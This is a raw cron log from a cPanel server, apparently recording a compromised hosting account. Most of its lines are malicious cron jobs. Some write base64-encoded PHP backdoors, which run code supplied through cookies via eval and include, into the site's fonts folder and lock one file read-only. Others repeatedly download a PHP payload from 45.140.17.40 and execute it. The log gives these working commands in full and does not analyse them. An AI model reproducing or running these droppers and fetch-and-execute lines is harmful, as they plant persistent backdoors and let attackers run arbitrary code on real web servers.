Sep 11 10:46:01 ip-184-168-122-23 CROND[19424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:46:01 ip-184-168-122-23 CROND[19422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:46:01 ip-184-168-122-23 CROND[19426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:46:01 ip-184-168-122-23 CROND[19425]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 10:46:01 ip-184-168-122-23 CROND[19423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:47:01 ip-184-168-122-23 CROND[19562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:47:01 ip-184-168-122-23 CROND[19563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:47:01 ip-184-168-122-23 CROND[19565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:47:01 ip-184-168-122-23 CROND[19566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:48:01 ip-184-168-122-23 CROND[19696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:48:01 ip-184-168-122-23 CROND[19698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:48:01 ip-184-168-122-23 CROND[19699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:48:01 ip-184-168-122-23 CROND[19701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:48:01 ip-184-168-122-23 CROND[19700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:49:01 ip-184-168-122-23 CROND[19915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:49:01 ip-184-168-122-23 CROND[19918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:49:01 ip-184-168-122-23 CROND[19917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:49:01 ip-184-168-122-23 CROND[19919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:49:01 ip-184-168-122-23 CROND[19920]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20059]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:50:01 ip-184-168-122-23 CROND[20066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:50:01 ip-184-168-122-23 CROND[20069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:50:01 ip-184-168-122-23 CROND[20071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:51:01 ip-184-168-122-23 CROND[20205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:51:01 ip-184-168-122-23 CROND[20206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:51:01 ip-184-168-122-23 CROND[20208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:51:01 ip-184-168-122-23 CROND[20207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:52:01 ip-184-168-122-23 CROND[20412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:52:01 ip-184-168-122-23 CROND[20414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:52:01 ip-184-168-122-23 CROND[20416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:52:01 ip-184-168-122-23 CROND[20417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:52:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:53:02 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:53:02 ip-184-168-122-23 CROND[20560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:53:02 ip-184-168-122-23 CROND[20558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:53:02 ip-184-168-122-23 CROND[20559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:54:01 ip-184-168-122-23 CROND[20955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:54:01 ip-184-168-122-23 CROND[20956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:54:01 ip-184-168-122-23 CROND[20960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:54:01 ip-184-168-122-23 CROND[20965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:54:01 ip-184-168-122-23 CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:55:01 ip-184-168-122-23 CROND[21184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:56:02 ip-184-168-122-23 CROND[21287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:56:02 ip-184-168-122-23 CROND[21291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:56:02 ip-184-168-122-23 CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:56:02 ip-184-168-122-23 CROND[21289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:56:02 ip-184-168-122-23 CROND[21290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:57:01 ip-184-168-122-23 CROND[21405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:57:01 ip-184-168-122-23 CROND[21407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:57:01 ip-184-168-122-23 CROND[21406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:57:01 ip-184-168-122-23 CROND[21404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:58:01 ip-184-168-122-23 CROND[21487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:58:01 ip-184-168-122-23 CROND[21490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:58:01 ip-184-168-122-23 CROND[21489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
